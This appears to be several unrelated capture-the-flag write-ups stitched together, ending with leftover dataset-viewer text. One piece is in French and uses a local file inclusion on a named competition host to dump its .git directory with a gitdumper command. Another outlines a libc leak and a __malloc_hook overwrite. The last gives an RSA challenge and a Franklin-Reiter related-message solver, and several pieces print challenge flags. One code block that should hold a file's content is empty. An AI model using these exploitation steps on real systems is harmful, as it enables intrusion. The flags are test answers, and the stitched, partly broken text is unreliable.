easyctf{flrznampcvgflagishwlgduibsfcgmtqhypibddxteqako~etpciihevcpwaupt} precedence
easyctf{flqkjlanglvgflagishwlggdmqsethmtqhypibddxtf`drkcxqetpciihevcpwbdtg} scapegrace
easyctf{flagflagflagflagishwlgwhaqsluhztqhypibddxtvlhrkjyqrtpciihevcpwrhxg} compensate
easyctf{flrgxoazfbgqflagishwlgdhrsquf|bqhypibddxtelvqkwytbpciihevcpwahfd} possessors
easyctf{flaitamglyqflagishwlgwfxisfthbbqhypibddxtvbqjk`xqjbpciihevcpwrfa} cathedrals
easyctf{flfmxlagfhgqflagishwlgpbqslul|bqhypibddxtqfvrkjyutbpciihevcpwubfg} despensers
easyctf{flumorazqllqflagishwlgcbhosqbhwbqhypibddxtbfalkwnqbpciihevcpwfbqy} wednesdays
easyctf{flrzdzazfbggflagishwlgducgsquf|tqhypibddxteqjdkwyttpciihevcpwauzq} professore
easyctf{flrznhagfdzlflagishwlgduiusluaqhypibddxteqvkjyyipciihevcpwaupc} pretension
easyctf{flrznjagadcgflagishwlgduiwslrxtqhypibddxteqtkj~yptpciihevcpwaupa} preventive
easyctf{fldgyza`axggflagishwlgrh~gskr||tqhypibddxtslwdkm~ettpciihevcpwwhgq} forfeiture
easyctf{flvyyazvbggflagishwlgo~dsqef|tqhypibddxtakwgkwittpciihevcpweogr} threescore
reached end
Immediately the result for **compensate** stood out because the start was just a bunch of "flagflagflag" in the beginning. I tested that out and it was correct:
```easyctf{flagflagflagflagishwlgwhaqsluhztqhypibddxtvlhrkjyqrtpciihevcpwrhxg}```
|
**Web - Pushup - 300pts**
Enoncé :```You like pushups ? Because I like pushups. I found a website about pushups, let's pushup!
https://pushup.thcon.party
HINT Le développeur vient de m'appeler: il m'a dit qu'il était OK pour vous filer le code source du site, il a commit les changements mais il n'a pas push ..```
**Résolution :**
Sur la page d'accueil le lien qui charge l'image nous semble suspect :```https://pushup.thcon.party/assets/png/load_image.png?_=muscle.png```
Après plusieurs essais on remarque la présence d'une LFI.On se sert de cette LFI pour récupérer le dossier .git présent sur le serveur avec [Gittools](https://github.com/internetwache/GitTools) :
```BASH./gitdumper.sh "https://pushup.thcon.party/assets/png/load_image.png?_=../.git/" th_web300```On regarde la liste des commits :```BASHgit log```On obtient un commit intérressant :
```commit 2e3dfdcfeb22de43101397456f5d344d14f2dc5aAuthor: zadig <[email protected]>Date: Fri Dec 15 22:02:16 2017 +0100
Ajout de la méthode pour l'authentification
```
```BASHgit checkout 2e3dfdcfeb22de43101397456f5d344d14f2dc5a
```
On fait un git status , le fichier auth.php servant à l'authentification à été supprimé.
Pour le récupérer :
```BASHgit checkout auth.php
```
Contenu du fichier auth.php :
```PHP
```Une fois le mot de passe entrée on obtient le flag

By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
1. Leak libc by reading from unsorted chunk2. Free fast chunk of size 0x703. Free another fast chunk of size 0x704. vote for chunk freed in '3', will increment fd pointer. vote 0x20 times to make fd pointer point inside [2] chunk5. [2] chunk should have a fake chunk pointing to \_\_malloc\_hook - 0x236. Overwrite with one shot gadget |
[https://rawsec.ml/en/PragyanCTF-2018-write-ups/#100-quick-response-forensics](https://rawsec.ml/en/PragyanCTF-2018-write-ups/#100-quick-response-forensics) |
# Rsa padding (Crypto, 303p, 47 solved)
In the task we can connect to a netcat service which gives us the crypto source code:
```python#!/usr/bin/env python3# -*- coding=utf-8 -*-
from Crypto.Util.number import getPrime, GCD, bytes_to_longfrom hashlib import sha256import randomimport signalimport sys, os
signal.alarm(20)
m = b"xxxxxxxxxxxxxx"n = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941e = 3
def welcom(): batch = """ _ _ __ _ _____ _______ ______ | \ | | /_ | | / ____|__ __| ____| | \| |_ _| | | | | | | | |__ | . ` | | | | | | | | | | | __| | |\ | |_| | | |____ | |____ | | | | |_| \_|\__,_|_|______| \_____| |_| |_|
_|_|_| _|_|_| _|_| _|_|_| _|_| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _|_| _|_| _| _|_|_| _|_| _|_|_|_| _| _|_| _|_|_|_| _| _| _| _|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _| _|_|_| _| _| _| _| _|_|_|_| """ print(batch)
def proof(): strings = "abcdefghijklmnopqrstuvwxyzWOERFJASKL" prefix = "".join(random.sample(strings, 6)) starwith = str(random.randint(10000, 99999)) pf = """sha256("%s"+str).hexdigest().startswith("%s") == TruePlease give me str"""%(prefix, starwith) print(pf) s = input().strip() if sha256((prefix+s).encode()).hexdigest().startswith(starwith): return True else: return False
def cmd(): help = """1. get code2. get flagPlease tell me, what you want?""" while True: print(help) c = input().strip() if c == "1": return True elif c == "2": return False else: print("Enter Error!")
def main(): if not proof(): print("Check Failed!") return welcom() if cmd(): f = open("file.py") print(f.read()) return mm = bytes_to_long(m) assert pow(mm, e) != pow(mm, e, n) sys.stdout.write("Please give me a padding: ") padding = input().strip() padding = int(sha256(padding.encode()).hexdigest(),16) c = pow(mm+padding, e, n) print("Your Ciphertext is: %s"%c)
if __name__ == '__main__': main()```
The only important part is:
```pythonn = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941e = 3######sys.stdout.write("Please give me a padding: ")padding = input().strip()padding = int(sha256(padding.encode()).hexdigest(),16)c = pow(mm+padding, e, n)print("Your Ciphertext is: %s"%c)```
We can give some string input, the script will calculate sha256 from it, add to the flag and then RSA encrypt.This is a textbook example for Franklin-Reiter related message attack, so we run a solver for it:
```pythonimport hashlib
def chunk(input_data, size): return [input_data[i:i+size] for i in range(0, len(input_data), size)]
def long_to_bytes(data): data = int(data) data = hex(data).rstrip('L').lstrip('0x') if len(data) % 2 == 1: data = '0' + data return bytes(bytearray(int(c, 16) for c in chunk(data, 2)))
def gcd(a, b): while b: a, b = b, a % b return a.monic()
def franklin(n, pad1, pad2, c1, c2): R.<X> = PolynomialRing(Zmod(n)) f1 = (X + pad1)^3 - c1 f2 = (X + pad2)^3 - c2 return -gcd(f1, f2).coefficients()[0]
def main(): n = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941 pad1 = int(hashlib.sha256("1").hexdigest(),16) pad2 = int(hashlib.sha256("2").hexdigest(),16) c1 = 14550589053226237723784378782911157204367764723813789158271625147472004207734354619642445255036997940341703539883653916130592718879734436263217819317202435434496341973502556894834798718992952369685841347018901038478081710519253844078907000973324354805502890255414196801758171762906898874914776720897920729518384393581853690034053515213192846817920534901501370942556249012415259244063185938984570137371682805276444650716010228924732495062415330875872004691866847132147232457398743319930259327973290858489741376000333603734294893832124907092640953321640151851853501528390729805151850605432707293088635480863375398001441 c2 = 14550589053226237723784378782911157204367764723816957959635387925652898370034365455451983914571405062459535687617841302966938233065296973978472553109061974458935966754832788411876301179210585984208608247433383774246743661884093657109502619626436726032508763685599880808525861655167503719155953736308920858354069083437923495143680174206534169208623366776314544036377265501358254923029291010047210371394197963442022610746743020719292018028518885149189744832788117626194748311114409968846879212425054195323473068436359069318372735069308398135560733890706617536127579272964863500568572120716434126233695562326533941909353 result = franklin(n, pad1, pad2, c1, c2) print(long_to_bytes(result))
main()```
And get: `N1CTF{f7efbf4e5f5ef78ca1fb9c8f5eb02635}` |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.